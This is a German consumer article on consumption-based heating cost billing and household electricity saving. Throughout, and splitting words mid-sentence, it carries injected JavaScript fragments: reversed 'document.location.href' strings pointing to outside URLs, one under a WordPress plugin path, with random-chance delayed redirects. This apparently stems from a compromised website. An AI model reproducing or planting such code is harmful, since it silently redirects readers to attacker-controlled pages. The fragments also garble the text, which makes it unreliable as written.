Im vorliegenden Fall hatte die Vermieterin an das Energieversorgerunternehmen Leistungen pauschal im Voraus bezahlt. Diese Kosten wurden 1 : 1 auf die Mieterin umgelegt. Hinzu kam, dass das Gebäude einen erhöhten Leerstdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and aufwies. Der tatsächliche Verbrauch der Mieterin wurde in dieser Abrechnung nicht berücksichtigt.

 

Verbrauchsabhängige Heizkostenabrechnung

Fazit: Gegebenenfalls muss der Verbrauch im Einzelfall für den konkreten Zeitraum vom Energieunternehmen geschätzt werden.

Übrigens, wurde in der Vorinstanz eine pauschale Kürzung der Heizkosten um 15 Prozent vorgeschlagen. Diese ist jedoch lt. BGH-Urteil nicht ausreichend und würde den Mangel der Abrechnung letztendlich nicht beseitigen.

Eine verbrauchsabhängige Heizkostenabrechnung – so wie sie vorgeschrieben und gefordert wird – bedeutet also, dass nur die Kosten  der tatsächlich ins Haus gelieferten Energie  (innerhalb der betreffenden Abrechnungsperiode) berechnet werden dürfen.

Allerdings wird die Abrechnung der Wasser- und Abwasserkosten weiterhin anhdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and der berechneten Vorauszahlungen erfolgen. Die Regelungen der Heizkostenverordnung beziehen sich lediglich auf die verbrauchsabhängige Heizkostenabrechnung, nicht auf doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andere Verbrauchs- oder Mietnebenkosten.

Strom sparen – wichtig für Sparfüchse und umweltbewusste Kunden

Strom sparen; Bild: Thorben-Wengert / pixelio.de

Strom sparen; Bild: Thorben-Wengert / pixelio.de

Die Preise für Elektroenergie sind in den vergangenen Jahren regelrecht explodiert. Die Ursachen dafür finden sich in der Entwicklung der Energiepreise auf dem Weltmarkt ebenso wie in politischen Entscheidungen, die insbesondere die privaten Stromverbraucher treffen. Unternehmen profitieren für ihren Strom von Steuererleichterungen, günstigen Spezialtarifen sowie Ermäßigungen auf die Netzentgelte. Private Kunden müssen neben den Spitzensätzen für ihren Haushaltsstrom dagegen auch die Kosten für die „Energiewende“ respektive die EEG-Umlage fast alleine tragen. Ob die von der Bundesregierung geplante „Strompreisbremse“ hier Erleichterungen bringen wird, ist bereits vor der endgültigen politischen Entscheidung mehr als fraglich.

Strom sparen ist daher für private Energieverbraucher wichtig. Durch einen bewussten Umgang mit Elektroenergie entlasten diese natürlich spürbar ihre Haushaltskasse, leisten jedoch auch einen aktiven Beitrag zum Schutz der Umwelt und ihrer Energieressourcen. Abstriche an modernem Wohnkomfort sind mit Strom sparen und einem energiebewussten Leben selbstverständlich nicht verbunden.

Bewusster Stromverbrauch im Alltag hilft, nachhaltig zu sparen

Durch bewussten Stromverbrauch im Alltag kann das häusliche Budget pro Jahr um einen beträchtlichen Betrag entlastet werden. Um komplizierte und nur mit Mühe umsetzbare Regeln und Verhaltensweisen geht es dabei nicht. Strom sparen bedeutet schließlich nicht, sich tagtäglich einzuschränken, sondern zu verhindern, dass Elektroenergie verschwendet wird.

In Zimmern, in denen sich gerade niemdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and aufhält, müssen selbstverständlich auch keine Lampen brennen. Die Verwendung von Energiesparlampen anstelle herkömmlicher Leuchten wird inzwischen sogar gesetzlich eingefordert. LEDs und Energiesparlampen reduzieren den Stromverbrauch für Licht im Vergleich zu doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anderen Leuchten um bis zu 80 Prozent und weisen außerdem eine rund zwölfmal längere Lebenszeit als konventionelle Lampen auf. Gesundheitsschädigende Strahlen oder Emissionen sind mit der Verwendung von Energiesparlampen nicht verbunden, entsprechende Befürchtungen von Verbraucherschützern hat das Bundesumweltministerium durch unabhängige Tests seit längerem aus der Welt geschafft.

Auch elektrische Geräte im Stdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and-By-Modus fressen in der Summe in hohem Maße Strom. Positive Alternativen hierzu sind entweder strikte Disziplin oder Steckdosen-Leisten mit einer zentralen Schalt-Funktion.

Strom sparen in Bad und Küche

Auch in Bad und Küche ergeben sich naturgemäß zahlreiche Stromspar-Möglichkeiten. Bei der Warmwasserbereitung sowie für den Transport des Wassers für Dusche oder Bad wird natürlich auch Elektroenergie verbraucht, auf der Nebenkostenrechnung für die Wohnung schlägt Wasser außerdem als eigener Kostenpunkt zu Buche. Durchflussbegrenzer und Sparduschköpfe helfen, den Verbrauch von Strom und Wasser um rund 50 Prozent zu senken.

Energiebewusstes Waschen ist nicht nur durch energiesparende Waschmaschinen, sondern auch durch effiziente Waschmittel recht einfach möglich. Bei einem 40-Grad-Waschgang wird um rund die Hälfte weniger Strom verbraucht als bei 60 Grad, für normal verschmutzte Wäsche reicht diese Temperatur in der Regel völlig aus. Elektrische Wäschetrockner verkürzen zwar die Trockenzeit und erleichtern oft das Bügeln, erweisen sich bei regelmäßigem Betrieb jedoch auch als immenser Strom- und Kostenfakdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor.

Generell gilt sowohl aus Kosten- als auch aus Umweltgründen, dass Verbraucher auf energieeffiziente Haushaltsgeräte setzen sollten. Kühlschränke sowie Wasch- und Spülmaschinen der Energieeffizienzklassen AA++ oder A+++ gehören inzwischen nahezu zum privaten Pflichtprogramm. Der höhere Anschaffungspreis gegenüber weniger effizienten Haushaltsmaschinen amortisiert sich durch die Stromersparnis in sehr kurzer Zeit. Übrigens tragen auch Spülmaschinen zum Strom sparen im Haushalt bei, entgegen der Meinung zahlreicher Verbraucher reinigen sie Geschirr mit einem geringeren Verbrauch von Strom und Wasser als der traditionelle Hdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andwaschgang.

Den eigenen Energieversorger richtig wählen

Mit einer guten Wahl des eigenen Energieversorgers sparen Verbraucher zwar noch nicht aktiv Energie, jedoch pro Jahr oft trotzdem dreistellige Beträge. Der Wechsel zum persönlich optimalen Stromanbieter geht dabei äußerst leicht vonstatten, die Formalitäten dafür werden durch das neue Versorgungsunternehmen übernommen.

Experten raten, bei einem Wechsel des Stromversorgungsunternehmens von vornherein auf Öko-Strom zu setzen. Die meisten Ökostrom-Versorger bieten ihren Kunden nicht nur günstige Preise, sondern auch sehr faire Konditionen. Beispielrechnungen weisen nach, dass das Sparpotenzial durch Öko-Strom für einen Durchschnittshaushalt oft sogar über den Spareffekten durch einen günstigen konventionellen Stromversorger liegt.